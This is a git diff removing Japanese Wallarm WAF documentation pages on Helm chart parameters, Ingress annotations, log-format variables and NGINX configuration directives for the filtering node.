-**デフォルト値**: `api.wallarm.com` - -### controller.wallarm.token - -フィルタリングノードのトークン値です。Wallarm APIへのアクセスに必要です。 - -トークンは次の[種類][node-token-types]のいずれかです。 - -* **API token（推奨）** - UIの編成のためにノードグループを動的に追加/削除したい場合や、セキュリティ向上のためにトークンのライフサイクルを管理したい場合に最適です。API tokenを作成するには: - - API tokenを作成するには: - - 1. Wallarm Console → **Settings** → **API tokens**（[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)）に移動します。 - 1. 使用タイプに**Node deployment/Deployment**を選択してAPI tokenを作成します。 - 1. ノードのデプロイ時に作成したトークンを使用し、`controller.wallarm.nodeGroup`パラメータでグループ名を指定します。異なるAPI tokenを使用して複数のノードを同一グループに追加できます。 -* **Node token** - 使用するノードグループがすでに決まっている場合に適しています。 - - Node tokenを作成するには: - - 1. Wallarm Console → **Nodes**（[US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)）に移動します。 - 1. ノードを作成し、ノードグループ名を設定します。 - 1. そのグループに含めたい各ノードのデプロイ時に、グループのトークンを使用します。 - -[`controller.wallarm.existingSecret.enabled: true`](#controllerwallarmexistingsecret)の場合、このパラメータは無視されます。 - -**デフォルト値**: `not specified` - -### controller.wallarm.nodeGroup - -Helmチャートバージョン4.6.8以降、新規デプロイするノードを追加するフィルタリングノードグループの名前を指定します。この方法でのノードのグループ化は、使用タイプに**Node deployment/Deployment**を持つAPI token（その値を`controller.wallarm.token`に渡します）でノードを作成してWallarm Cloudに接続する場合にのみ利用できます。 - -**デフォルト値**: `defaultIngressGroup` - -### controller.wallarm.existingSecret - -Helmチャートバージョン4.4.1以降、Kubernetes SecretからWallarmノードトークン値を取得するためにこの設定ブロックを使用できます。外部のシークレット管理（例: external secrets operatorを使用）を行う環境で有用です。 - -ノードトークンをK8s Secretに保存し、Helmチャートへ渡すには: - -1. Wallarmノードトークンを格納するKubernetes Secretを作成します: - - ```bash - kubectl -n create secret generic wallarm-api-token --from-literal=token= - ``` - - * ``は、Wallarm IngressコントローラーのHelmリリース用に作成したKubernetesのNamespaceです - * `wallarm-api-token`はKubernetes Secret名です - * ``はWallarm ConsoleのUIからコピーしたWallarmノードトークン値です - - 外部のSecretオペレーターを使用する場合は、[該当ドキュメントに従ってSecretを作成](https://external-secrets.io)してください。 -1. `values.yaml`に以下の設定を行います: - - ```yaml - controller: - wallarm: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**デフォルト値**: `existingSecret.enabled: false`（Helmチャートは`controller.wallarm.token`からWallarmノードトークンを取得します） - -### controller.wallarm.postanalytics.arena - -postanalyticsサービスに割り当てるメモリ量を指定します。直近5〜15分のリクエストデータを保持できる十分な値を設定することを推奨します。 - -**デフォルト値**: `2.0` - -[NGINX Node 5.x以前](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)では、このパラメータ名は`controller.wallarm.tarantool.arena`でした。アップグレード時には名称変更が必要です。 - -### controller.wallarm.postanalytics.serviceAddress - -**wstore**が受信接続を受け付けるアドレスとポートを指定します。 - -リリース6.3.0以降でサポートされています。 - -**デフォルト値**: `[::]:3313`（IPv4およびIPv6のすべてのインターフェースでポート3313をリッスン）。これは6.3.0以前のバージョンにおけるデフォルト動作でもあります。 - -### controller.wallarm.postanalytics.tls - -postanalyticsモジュールへの安全な接続を可能にするTLSおよび相互TLS（mTLS）の設定を行います（任意）: - -```yaml -controller: - wallarm: - postanalytics: - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" -``` - -リリース6.2.0以降でサポートされています。 - -| パラメータ | 説明 | 必須か | -| --------- | ---- | ------ | -| `enabled` | postanalyticsモジュールへの接続に対するSSL/TLSを有効化/無効化します。デフォルトは`false`（無効）です。 | はい | -| `certFile` | Filtering NodeがpostanalyticsモジュールへのSSL/TLS接続を確立する際に自身を認証するために使用するクライアント証明書のパスを指定します。 | `mutualTLS.enabled`が`true`の場合は必須 | -| `keyFile` | `certFile`で指定したクライアント証明書に対応する秘密鍵のパスを指定します。 | `mutualTLS.enabled`が`true`の場合は必須 | -| `caCertFile` | postanalyticsモジュールが提示するTLS証明書を検証するために使用する信頼された認証局（CA）証明書のパスを指定します。 | カスタムCAを使用する場合は必須 | -| `mutualTLS.enabled` | Filtering Nodeとpostanalyticsモジュールの双方が証明書で相互にアイデンティティを検証する相互TLS（mTLS）を有効にします。デフォルトは`false`（無効）です。 | いいえ | -| `mutualTLS.clientCACertFile` | Filtering Nodeが提示するTLS証明書を検証するために使用する信頼された認証局（CA）証明書のパスを指定します。 | カスタムCAを使用する場合は必須 | - -### controller.wallarm.metrics.enabled - -情報およびメトリクス収集を[切り替え](configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md)ます。Kubernetesクラスターに[Prometheus](https://github.com/helm/charts/tree/master/stable/prometheus)がインストールされている場合、追加の設定は不要です。 - -**デフォルト値**: `false` - -### controller.wallarm.apifirewall - -リリース4.10以降で利用可能な[API Specification Enforcement](../api-specification-enforcement/overview.md)の設定を制御します。デフォルトでは有効で、以下のとおり設定されています。この機能を使用している場合、これらの値は変更しないことを推奨します。 - -```yaml -controller: - wallarm: - apiFirewall: - ### API Firewall機能の有効化/無効化（true|false） - ### - enabled: true - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 - config: - mainPort: 18081 - healthPort: 18082 - specificationUpdatePeriod: 1m - unknownParametersDetection: true - #### TRACE|DEBUG|INFO|WARNING|ERROR - logLevel: DEBUG - ### TEXT|JSON - logFormat: TEXT - ... -``` - -Node 5.1.0以降では、次の設定項目が提供されています（デフォルト値は上記例を参照）。 - -| 設定 | 説明 | -| ---- | ---- | -| `readBufferSize` | リクエスト読み取り用の接続ごとのバッファサイズです。これは最大ヘッダーサイズの上限にもなります。クライアントが数KBのRequestURIや数KBのヘッダー（例: 大きなCookie）を送信する場合は、このバッファを増やしてください。 | -| `writeBufferSize` | レスポンス書き込み用の接続ごとのバッファサイズです。 | -| `maxRequestBodySize` | リクエストボディの最大サイズです。サーバーはこの上限を超えるボディを持つリクエストを拒否します。 | -| `disableKeepalive` | keep-alive接続を無効にします。このオプションが`true`の場合、サーバーはクライアントに最初のレスポンスを送信した後にすべての受信接続を閉じます。 | -| `maxConnectionsPerIp` | IPアドレスごとに許可される同時クライアント接続の最大数です。`0`は無制限です。 | -| `maxRequestsPerConnection` | 接続1本あたりで処理するリクエストの最大数です。サーバーは最後のリクエスト処理後に接続を閉じ、最後のレスポンスに`Connection: close`ヘッダーを追加します。`0`は無制限です。 | - -### controller.wallarm.container_name.extraEnvs - -ソリューションで使用するDockerコンテナに渡す追加の環境変数です。リリース4.10.6以降でサポートされています。 - -以下は、`https_proxy`と`no_proxy`環境変数をDockerコンテナに渡す例です。この構成により、送信HTTPSトラフィックは指定したプロキシを経由し、ローカルトラフィックはプロキシをバイパスします。Wallarm APIとの通信など外部通信をセキュリティ上の理由でプロキシ経由にする必要がある環境で重要です。 - -```yaml -controller: - wallarm: - apiHost: api.wallarm.com - enabled: "true" - token: - init: - extraEnvs: - - name: https_proxy - value: https://1.1.1.1:3128 -``` - -### validation.enableCel - -[Validating Admission Policies](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)を使用して`Ingress`リソースを検証できるようにします。 - -この機能には以下が必要です。 - -* Kubernetes v1.30以上 -* Wallarm Helmチャート 5.3.14+（5.x系）または6.0.2+ - -`true`に設定すると、Helmチャートは次をデプロイします。 - -* すべての`Ingress`リソース（`networking.k8s.io/v1`）に対するCELルールを定義する`ValidatingAdmissionPolicy ingress-safety-net` -* それらのルールを`cluster-wide`に`Deny`アクションで実行する`ValidatingAdmissionPolicyBinding ingress-safety-net-binding` - -デフォルトルールは、通常`nginx -t`で検出される一般的な誤設定を検出します。 - -* ワイルドカードホストの禁止（例: `*.example.com`） -* Ingress内のすべてのhost値が一意であることの確認 -* 各HTTPパスにサービス名とポートが含まれていることの検証 -* すべてのパスが`/`で始まることの要求 -* 一般的なサイズ/時間/真偽値アノテーション（`proxy-buffer-size`、`proxy-read-timeout`、`ssl-redirect`）のフォーマット検証 - -検証はIngressの作成または更新時に行われ、不適切に設定されたリソースは拒否されます。 - -この仕組みは、[CVE-2025-1974](https://nvd.nist.gov/vuln/detail/CVE-2025-1974)により現在[上流のNGINX Ingress Controller](https://github.com/kubernetes/ingress-nginx)で無効化されているテンプレートテストを置き換えるものです。 - -**デフォルト値**: `false` - -**検証ルールのカスタマイズ** - -[Common Expression Language（CEL）](https://github.com/google/cel-spec)を使用して、デフォルトのルールセットを拡張または変更できます。 - -1. 必要なバージョンの[Wallarm Helmチャート](https://github.com/wallarm/helm-charts/tree/main/wallarm-ingress)をダウンロードします。 -1. `templates/ingress-safety-vap.yaml`ファイル内のルールを修正します。 -1. [標準のデプロイ手順](installation-kubernetes-en.md)に従い、修正したディレクトリからチャートをデプロイします。 - -### validation.forbidDangerousAnnotations - -明示的に危険なNGINX Ingressのアノテーション`server-snippet`および`configuration-snippet`をブロックする追加のCELルールを有効にします。 - -すべてのsnippet系アノテーションを許可すると攻撃面が広がります。Ingressの作成や更新権限を持つ任意のユーザーが、安全でない、または不安定な動作を導入できてしまうためです。 - -この機能には以下が必要です。 - -* Kubernetes v1.30以上 -* Wallarm Helmチャート 6.3.0+ -* [`validation.enableCel`](#validationenablecel)が`true`に設定されていること - -!!! info "Node 6.2.0以前の挙動" - Node 6.2.0以前では、[`validation.enableCel`](#validationenablecel)が`true`の場合、明示的に危険な`server-snippet`および`configuration-snippet`はデフォルトでブロックされます。 - -**デフォルト値**: `false`（`server-snippet`と`configuration-snippet`の明示的に危険なアノテーションのブロックは無効） - -## グローバルコントローラー設定 - -[ConfigMap](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/)で実装します。 - -標準のものに加えて、以下の追加パラメータをサポートします。 - -* [wallarm-acl-export-enable](configure-parameters-en.md#wallarm_acl_export_enable) -* [wallarm-upstream-connect-attempts](configure-parameters-en.md#wallarm_wstore_upstream) -* [wallarm-upstream-reconnect-interval](configure-parameters-en.md#wallarm_wstore_upstream) -* [wallarm-process-time-limit](configure-parameters-en.md#wallarm_process_time_limit) -* [wallarm-process-time-limit-block](configure-parameters-en.md#wallarm_process_time_limit_block) -* [wallarm-request-memory-limit](configure-parameters-en.md#wallarm_request_memory_limit) - -## Ingressアノテーション - -これらのアノテーションは、個々のIngressインスタンスの処理パラメータを設定するために使用します。 - -[標準のアノテーション](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/)に加えて、以下の追加アノテーションをサポートします。 - -* [nginx.ingress.kubernetes.io/wallarm-mode](configure-parameters-en.md#wallarm_mode)、デフォルト: `"off"` -* [nginx.ingress.kubernetes.io/wallarm-mode-allow-override](configure-parameters-en.md#wallarm_mode_allow_override) -* [nginx.ingress.kubernetes.io/wallarm-fallback](configure-parameters-en.md#wallarm_fallback) -* [nginx.ingress.kubernetes.io/wallarm-application](configure-parameters-en.md#wallarm_application) -* [nginx.ingress.kubernetes.io/wallarm-block-page](configure-parameters-en.md#wallarm_block_page) -* [nginx.ingress.kubernetes.io/wallarm-parse-response](configure-parameters-en.md#wallarm_parse_response) -* [nginx.ingress.kubernetes.io/wallarm-parse-websocket](configure-parameters-en.md#wallarm_parse_websocket) -* [nginx.ingress.kubernetes.io/wallarm-unpack-response](configure-parameters-en.md#wallarm_unpack_response) -* [nginx.ingress.kubernetes.io/wallarm-parser-disable](configure-parameters-en.md#wallarm_parser_disable) -* [nginx.ingress.kubernetes.io/wallarm-partner-client-uuid](configure-parameters-en.md#wallarm_partner_client_uuid) - -### Ingressリソースへのアノテーション適用 - -Ingressに設定を適用するには、次のコマンドを使用します。 - -``` -kubectl annotate --overwrite ingress -n = -``` - -* ``は対象のIngress名です -* ``は対象のIngressのNamespaceです -* ``は上記一覧のアノテーション名です -* ``は上記一覧のアノテーション値です - -### アノテーション例 - -#### ブロックページとエラーコードの設定 - -`nginx.ingress.kubernetes.io/wallarm-block-page`アノテーションは、次の理由でブロックされたリクエストへのレスポンスとして返すブロックページとエラーコードを設定するために使用します。 - -* リクエストに次の種類の悪意あるペイロードが含まれている: [入力検証攻撃](../attacks-vulns-list.md#attack-types)、[vpatch攻撃](../user-guides/rules/vpatch-rule.md)、[正規表現に基づいて検出された攻撃](../user-guides/rules/regex-rule.md) -* 上記の悪意あるペイロードを含むリクエストが[graylisted IPアドレス](../user-guides/ip-lists/overview.md)からのもので、かつノードがsafe blocking [mode](configure-wallarm-mode.md)でリクエストをフィルタリングしている -* リクエストが[denylisted IPアドレス](../user-guides/ip-lists/overview.md)からのものである - -例えば、ブロックされた任意のリクエストに対してデフォルトのWallarmブロックページとエラーコード445を返すには次のとおりです。 - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/html/wallarm_blocked.html response_code=445 type=attack,acl_ip,acl_source" -``` - -[ブロックページとエラーコードの設定方法の詳細 →](configuration-guides/configure-block-page-and-code.md) - -#### libdetectionモードの管理 - -!!! info "**libdetection**のデフォルトモード" - **libdetection**ライブラリのデフォルトモードは`on`（有効）です。 - -[**libdetection**](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection)のモードは次のいずれかの方法で制御できます。 - -* 次の[`nginx.ingress.kubernetes.io/server-snippet`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet)アノテーションをIngressリソースに適用します: - - ```bash - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/server-snippet="wallarm_enable_libdetection off;" - ``` - - `wallarm_enable_libdetection`の有効な値は`on`/`off`です。 -* `controller.config.server-snippet`パラメータをHelmチャートに渡します: - - === "Ingressコントローラーのインストール" - ```bash - helm install --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - 正しくIngressコントローラーをインストールするには[他にもパラメータ](#additional-settings-for-helm-chart)が必要です。これらも`--set`オプションで指定してください。 - === "Ingressコントローラーのパラメータ更新" - ```bash - helm upgrade --reuse-values --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - `wallarm_enable_libdetection`の有効な値は`on`/`off`です。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-logging.md b/docs/latest-ja/admin-en/configure-logging.md deleted file mode 100644 index 799af7505c..0000000000 --- a/docs/latest-ja/admin-en/configure-logging.md +++ /dev/null @@ -1,105 +0,0 @@ -[link-nginx-logging-docs]: https://docs.nginx.com/nginx/admin-guide/monitoring/logging/ -[doc-vuln-list]: ../attacks-vulns-list.md -[doc-lom]: ../user-guides/rules/rules.md#ruleset-lifecycle -[antibot]: ../api-abuse-prevention/overview.md -[resource-overlimit]: ../attacks-vulns-list.md#resource-overlimit -[acl]: ../user-guides/ip-lists/overview.md - -# フィルタリングノードのログの操作 - -本記事では、Wallarmフィルタリングノードのログファイルの場所を確認する方法を説明します。 - -ログファイルは`/opt/wallarm/var/log/wallarm`ディレクトリにあります。以下に、存在するログファイルと各ファイルに含まれる情報の概要を示します。 - -* `api-firewall-out.log`: [API specification enforcement](../api-specification-enforcement/overview.md)のログです。 -* `appstructure-out.log`(Dockerコンテナでのみ): [API Discovery](../api-discovery/overview.md)モジュールの動作ログです。 -* `wstore-out.log`([NGINX Node 5.x and earlier](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)では`tarantool-out.log`): postanalyticsモジュールの動作ログです。 -* `wcli-out.log`: ブルートフォース検知、Cloudへの攻撃エクスポート、Cloudとのノード同期状況など、大半のWallarmサービスのログです。 -* `supervisord-out.log`: サービスの起動、ステータス変更、警告など、Supervisorのプロセス管理に関するログです。 -* `go-node.log`: [Native Node](../installation/nginx-native-node-internals.md#native-node)のログです。 - -## NGINX‑ベースのフィルタノードの拡張ロギングの設定 - -NGINXは処理済みリクエスト(アクセスログ)のログを、既定の`combined`ロギングフォーマットを使用して別のログファイルに書き込みます。 - -``` -log_format combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" '; -``` - -必要に応じて他のNGINX変数と同様に、1つ以上のフィルタノード変数を含めたカスタムのロギングフォーマットを定義して使用できます。NGINXのログファイルからフィルタノードの診断をより迅速に実施できるようになります。 - -### フィルタノード変数 - -NGINXのロギングフォーマットを定義する際に、以下のフィルタノード変数を使用できます。 - -|名前|型|値| -|---|---|---| -|`request_id`|String|リクエスト識別子
      値の形式は次のとおりです: `a79199bcea606040cc79f913325401fb`| -|`wallarm_request_cpu_time`|Float|フィルタリングノードが動作するマシンのCPUがリクエスト処理に費やした時間(秒)。| -|`wallarm_request_mono_time`|Float|CPUがリクエスト処理に費やした時間+キュー内での待機時間(秒)。例えば、リクエストがキューで3秒待機し、CPUで1秒処理された場合は、次のとおりです:
      • `"wallarm_request_cpu_time":1`
      • `"wallarm_request_mono_time":4`
      | -|`wallarm_serialized_size`|Integer|シリアライズされたリクエストのサイズ(バイト)。| -|`wallarm_is_input_valid`|Integer|リクエストの正当性
      `0` - リクエストは有効です。リクエストはフィルタノードで検査され、LOMルールに一致しています。
      `1` - リクエストは無効です。リクエストはフィルタノードで検査され、LOMルールに一致していません。| -| `wallarm_attack_type_list` | String | リクエストで検出された[攻撃タイプ][doc-vuln-list]。タイプはテキスト形式で示されます:
      • xss
      • sqli
      • rce
      • xxe
      • ptrav
      • crlf
      • redir
      • nosqli
      • infoleak
      • overlimit_res
      • data_bomb
      • vpatch
      • ldapi
      • scanner
      • mass_assignment
      • ssrf
      • ssi
      • mail_injection
      • ssti
      • invalid_xml
      • file_upload_violation
      • [API仕様違反](../api-specification-enforcement/overview.md):
        • undefined_endpoint
        • undefined_parameter
        • missing_auth
        • missing_parameter
        • invalid_parameter_value
        • invalid_request
        • processing_overlimit
      • blocked_source
      • GraphQL攻撃:
        • gql_aliases
        • gql_debug
        • gql_depth
        • gql_doc_size
        • gql_docs_per_batch
        • gql_introspection
        • gql_value_size
      • [トリガー](../user-guides/triggers/triggers.md)に基づく攻撃(オリジンがトリガーによりdenylistまたはgraylistに入れられた場合にのみ返されるタイプ):
        • brute
        • dirbust
        • bola
        • [vectors](configuration-guides/protecting-with-thresholds.md)
      • [API Abuse](../api-abuse-prevention/overview.md)(モジュールがオリジンをdenylistまたはgraylistに入れた場合にのみ返されるタイプ):
        • bot
        • api_abuse
        • account_takeover
        • security_crawlers
        • scraping
        • resource_consumption
      • credential_stuffing
      1つのリクエストで複数の攻撃タイプが検出された場合は、記号`|`で連結されます。例えばXSSとSQLiが検出された場合、変数の値は`xss|sqli`です。 | -|`wallarm_attack_type`|Integer|リクエストで検出された[攻撃タイプ][doc-vuln-list]。タイプはビット列形式で示されます:
      • `0x00000000` - no attack - `"0"`
      • `0x00000002` - xss - `"2"`
      • `0x00000004` - sqli - `"4"`
      • `0x00000008` - rce - `"8"`
      • `0x00000010` - xxe - `"16"`
      • `0x00000020` - ptrav - `"32"`
      • `0x00000040` - crlf - `"64"`
      • `0x00000080` - redir - `"128"`
      • `0x00000100` - nosqli - `"256"`
      • `0x00000200` - infoleak - `"512"`
      • `0x20000000` - overlimit_res - `"536870912"`
      • `0x40000000` - data_bomb - `"1073741824"`
      • `0x80000000` - vpatch - `"2147483648"`
      • `0x00002000` - ldapi - `"8192"`
      • `0x4000` - scanner - `"16384"`
      • `0x20000` - mass_assignment - `"131072"`
      • `0x80000` - ssrf - `"524288"`
      • `0x02000000`- ssi - `"33554432"`
      • `0x04000000` - mail_injection - `"67108864"`
      • `0x08000000` - ssti - `"134217728"`
      • `0x10000000` - invalid_xml - `"268435456"`
      • `0x8000000000000`- file_upload_violation - `2251799813685248`
      • API悪用(bot攻撃):
        • `0x10000000000000` - resource_consumption - `4503599627370496`
      • [API仕様違反](../api-specification-enforcement/overview.md):
        • `0x100000000` - undefined_endpoint - `"4294967296"`
        • `0x200000000` - undefined_parameter - `"8589934592"`
        • `0x400000000`- missing_auth - `"17179869184"`
        • `0x800000000`- missing_parameter - `"34359738368"`
        • `0x1000000000` - invalid_parameter_value - `"68719476736"`
        • `0x2000000000` - invalid_request - `"137438953472"`
        • `0x4000000000` - processing_overlimit - `"274877906944"`
      • `0x100000` - blocked_source - `"1048576"`
      • GraphQL攻撃:
        • `0x20000000000` - gql_aliases - `"2199023255552"`
        • `0x200000000000` - gql_debug - `"35184372088832"`
        • `0x8000000000` - gql_depth - `"549755813888"`
        • `0x40000000000` - gql_doc_size - `"4398046511104"`
        • `0x80000000000` - gql_docs_per_batch - `"8796093022208"`
        • `0x100000000000` - gql_introspection - `"17592186044416"`
        • `0x10000000000` - gql_value_size - `"1099511627776"`
      • [トリガー](../user-guides/triggers/triggers.md)に基づく攻撃(オリジンがトリガーによりdenylistまたはgraylistに入れられた場合にのみ返されるタイプ):
        • `0x400` - brute - `"1024"`
        • `0x800` - dirbust - `"2048"`
        • `0x10000` - bola - `"65536"`
        • `0x400000` - [vectors](configuration-guides/protecting-with-thresholds.md) - `"4194304"`
      • [API Abuse](../api-abuse-prevention/overview.md)(モジュールがオリジンをdenylistまたはgraylistに入れた場合にのみ返されるタイプ):
        • `0x8000` - bot - `"32768"`
        • `0x200000` - api_abuse - `"2097152"`
        • `0x400000000000` - account_takeover - `"70368744177664"`
        • `0x800000000000` - security_crawlers - `"140737488355328"`
        • `0x1000000000000` - scraping - `"281474976710656"`
      • `0x1000000` - credential_stuffing - `"16777216"`
      1つのリクエストで複数の攻撃タイプが検出された場合は、値が加算されます。例えばXSSとSQLiが検出された場合、変数の値は`6`です。 | -| `wallarm_attack_point_list` (NGINXノード5.2.1以降) | String | 悪意のあるペイロードを含むリクエストのポイントを列挙します。1つのポイントが複数の[パーサー](../user-guides/rules/request-processing.md)で順次処理される場合、それらすべてが値に含まれます。複数のポイントに悪意のあるペイロードが含まれる場合は、`|`で連結されます。
      例: `[post][json][json_obj, 'data'][base64]`は、JSONの`data`ボディパラメータに含まれるbase64エンコードされた悪意のあるペイロードを示します。
      このログデータは、Wallarm Console UIに表示される簡略化されたユーザーフレンドリーな表示と異なる場合があります。 | -| `wallarm_attack_stamp_list` (NGINXノード5.2.1以降) | String | リクエストで検出された各攻撃シグンの内部Wallarm IDを列挙します。複数のシグンIDは`|`で連結されます。同一の攻撃シグンが複数の解析段階で検出された場合、IDが重複することがあります。例えば、`union+select+1`のようなSQLi攻撃では、複数回の検出を示す`7|7`が返ることがあります。
      このログデータは、Wallarm Console UIに表示される簡略化されたユーザーフレンドリーな表示と異なる場合があります。 | -|`wallarm_block_reason` (NGINXノード6.4.0以降)|String|ブロック理由(該当する場合)。理由はテキスト形式で示されます:
      • `not blocked` - リクエストはブロックされませんでした(例: [allowlisted IP][acl]から送信された場合)。
      • `antibot` - リクエストは[API Abuse Preventionモジュール][antibot]によりブロックされました。
      • `attack mask=` - 攻撃が検出されました。`MASK`は攻撃タイプを表すビット列です(例: `mask=0000000000000020`はptrav攻撃を示します)。すべての攻撃タイプは上記の`wallarm_attack_type`セクションに記載されています。
      • `overlimit` - マスク内で[resource overlimit][resource-overlimit]攻撃が検出されました。
      • `acl blacklist SRC TYPE` - [denylistに登録されたリクエストソースが原因][acl]でリクエストがブロックされました。可変部分には次の値が入ります:
          `SRC`:
          • `ip`
          • `country`
          • `proxy`
          • `datacenter`
          • `tor`
        • `TYPE`:
          • `blocked_source`
          • `brute`
          • `dirbust`
          • `bola`
          • `bot`
          • `api_abuse`
          • `vectors`
          • `account_takeover`
          • `security_crawlers`
          • `scraping`
          • `resource_consumption`
          • `session_anomaly`
          • `enum`
          • `rate_limit`
          • `query_anomaly`
          • `ai_prompt_injection`
          • `ai_prompt_retrieval`
        | - -### 設定例 - -`wallarm_combined`という名前の拡張ロギングフォーマットを定義し、次の変数を含めるとします。 -* `combined`フォーマットで使用されているすべての変数 -* すべてのフィルタノード変数 - -この場合、次の手順を実行します。 - -1. 以下の行は目的のロギングフォーマットを示します。NGINX構成ファイルの`http`ブロックに追加します。 - - ``` - log_format wallarm_combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" ' - '$wallarm_request_cpu_time $wallarm_request_mono_time $wallarm_serialized_size $wallarm_is_input_valid $wallarm_attack_type $wallarm_attack_type_list $wallarm_attack_point_list $wallarm_attack_stamp_list'; - ``` - -2. 同じブロックに次のディレクティブを追加して、拡張ロギングフォーマットを有効にします。 - - `access_log /var/log/nginx/access.log wallarm_combined;` - - 処理済みリクエストのログは、`/var/log/nginx/access.log`ファイルに`wallarm_combined`フォーマットで書き込まれます。 - - !!! info "条件付きロギング" - 上記のディレクティブでは、攻撃に関連しないものを含め、すべての処理済みリクエストがログファイルに記録されます。 - - 条件付きロギングを設定して、攻撃の一部であるリクエスト(これらのリクエストでは`wallarm_attack_type`変数の値がゼロではありません)のみを記録することもできます。その場合は、前述のディレクティブに条件を追加します: `access_log /var/log/nginx/access.log wallarm_combined if=$wallarm_attack_type;` - - ログファイルのサイズを抑えたい場合や、フィルタノードを[SIEMソリューション](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1)のいずれかと連携する場合に役立ちます。 - -3. 使用しているOSに応じて、次のいずれかのコマンドを実行してNGINXを再起動します。 - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -!!! info "詳細情報" - NGINXでのロギング設定の詳細は、この[リンク][link-nginx-logging-docs]をご覧ください。 - - - \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-parameters-en.md b/docs/latest-ja/admin-en/configure-parameters-en.md deleted file mode 100644 index d5759f1c99..0000000000 --- a/docs/latest-ja/admin-en/configure-parameters-en.md +++ /dev/null @@ -1,923 +0,0 @@ -[doc-nginx-install]: ../installation/nginx/dynamic-module-from-distr.md -[doc-eu-scanner-ip-addresses]: scanner-address-eu-cloud.md -[doc-us-scanner-ip-addresses]: scanner-address-us-cloud.md -[acl-access-phase]: #wallarm_acl_access_phase - -# NGINXベースのWallarmノードの設定オプション - -[セルフホスト型のWallarm NGINXノード](../installation/nginx-native-node-internals.md#nginx-node)で利用できる詳細な調整オプションについて説明します。これらを活用してWallarmソリューションを最大限に活用できます。 - -!!! info "NGINX公式ドキュメント" - Wallarmの設定はNGINXの設定と非常に似ています。[公式のNGINXドキュメント](https://www.nginx.com/resources/admin-guide/)をご参照ください。Wallarm固有の設定オプションに加えて、NGINXの設定機能をフルに利用できます。 - -## Wallarmディレクティブ - -### disable_acl - -リクエストの送信元解析を無効化できます。`on`に設定すると、フィルタリングノードはWallarm Cloudから[IPリスト](../user-guides/ip-lists/overview.md)をダウンロードせず、リクエスト送信元IPの解析をスキップします。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値は`off`です。 - -### wallarm_acl_access_phase - -このディレクティブは、NGINXのaccessフェーズで[denylist](../user-guides/ip-lists/overview.md)にあるIPからのリクエストをブロックするようNGINXベースのWallarmノードに指示します。つまり: - -* `wallarm_acl_access_phase on`の場合、Wallarmノードは任意の[フィルタリングモード](configure-wallarm-mode.md)（`off`を除く）でdenylistのIPからのあらゆるリクエストを即座にブロックし、denylistのIPからのリクエストに対して攻撃兆候の検索を行いません。 - - これはデフォルトかつ推奨の値です。denylistが標準どおりに動作し、ノードのCPU負荷を大幅に低減できます。 - -* `wallarm_acl_access_phase off`の場合、Wallarmノードはまず攻撃兆候の解析を行い、その後に`block`または`safe_blocking`モードで動作している場合にdenylistのIPからのリクエストをブロックします。 - - `monitoring`フィルタリングモードでは、ノードはすべてのリクエストで攻撃兆候を検索しますが、送信元IPがdenylistでもブロックしません。 - - `wallarm_acl_access_phase off`の挙動は、ノードのCPU負荷を大幅に増加させます。 - -!!! info "デフォルト値と他ディレクティブとの相互作用" - デフォルト値: `on`（Wallarmノード4.2以降） - - このディレクティブはNGINX設定ファイルのhttpブロック内でのみ設定できます。 - - * wallarmモードが`off`または[`disable_acl on`](#disable_acl)の場合、IPリストは処理されず、`wallarm_acl_access_phase`を有効化しても意味がありません。 - * `wallarm_acl_access_phase`ディレクティブは[`wallarm_mode`](#wallarm_mode)より優先されるため、フィルタリングノードのモードが`monitoring`でも（`wallarm_acl_access_phase on`のとき）denylistのIPからのリクエストはブロックされます。 - -### wallarm_acl_export_enable - -このディレクティブは、[denylist](../user-guides/ip-lists/overview.md)のIPからのリクエストに関する統計をノードからWallarm Cloudへ送信するかどうかを`on`/`off`で切り替えます。 - -* `wallarm_acl_export_enable on`の場合、denylistのIPからのリクエストに関する統計が**Attacks**セクションに[表示されます](../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)。 -* `wallarm_acl_export_enable off`の場合、denylistのIPからのリクエストに関する統計は表示されません。 - -!!! info - このパラメータはhttpブロック内で設定します。 - - デフォルト値: `on` - -### wallarm_api_conf - -Wallarm APIへのアクセス要件を含む`node.yaml`ファイルへのパスです。 - -デフォルト: - -``` -wallarm_api_conf /opt/wallarm/etc/wallarm/node.yaml -``` - -フィルタリングノードからのシリアライズ済みリクエストをpostanalyticsモジュール（wstore）へアップロードする代わりに、直接Wallarm API（Cloud）へアップロードするために使用します。**攻撃を含むリクエストのみ**がAPIへ送信されます。攻撃を含まないリクエストは保存されません。 - -node.yamlの内容例: - -``` yaml -# API接続パラメータ（以下のパラメータがデフォルトで使用されます） 